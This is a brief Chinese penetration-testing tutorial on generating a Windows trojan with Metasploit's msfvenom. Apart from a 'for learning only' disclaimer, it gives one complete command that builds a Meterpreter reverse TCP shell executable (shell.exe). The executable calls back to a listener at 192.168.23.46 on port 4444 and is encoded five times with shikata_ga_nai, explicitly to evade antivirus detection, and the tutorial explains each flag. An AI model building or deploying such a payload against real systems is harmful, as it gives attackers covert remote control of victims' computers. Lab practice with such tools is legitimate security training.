msf渗透练习-生成木马控制window系统

说明：
本章内容，仅供学习，不要用于非法用途（做个好白帽）

（一）生成木马

命令：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.23.46 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5

-p：设置payload，也就是要生成的可执行文件的类型和功能，这里选择的是Windows Meterpreter反向Shell。

        LHOST：指定Metasploit服务器（kali）监听的IP地址，

        LPORT：指定Metasploit服务器（kali）监听的端口，

-e：指定加密算法，这里使用的是shikata_ga_nai，这是一个简单的Polymorphic XOR加密算法，用来避免反病毒软件的检测。

-f：指定生成的可执行文件的格式，这里选择的是exe格式。

-o：指定生成的文件名为shell.exe。

-i：指定加密算法的迭代次数，即对生成的payload进行几次加密。
 

整个命令的意思是，将生成一个Windows反向TCP Meterpreter Shell的可执行文件，通过Metasploit连接到指定的主机和端口，使用shikata_ga_nai算法进行多次加密，生成exe格式的文件，存储为shell.exe。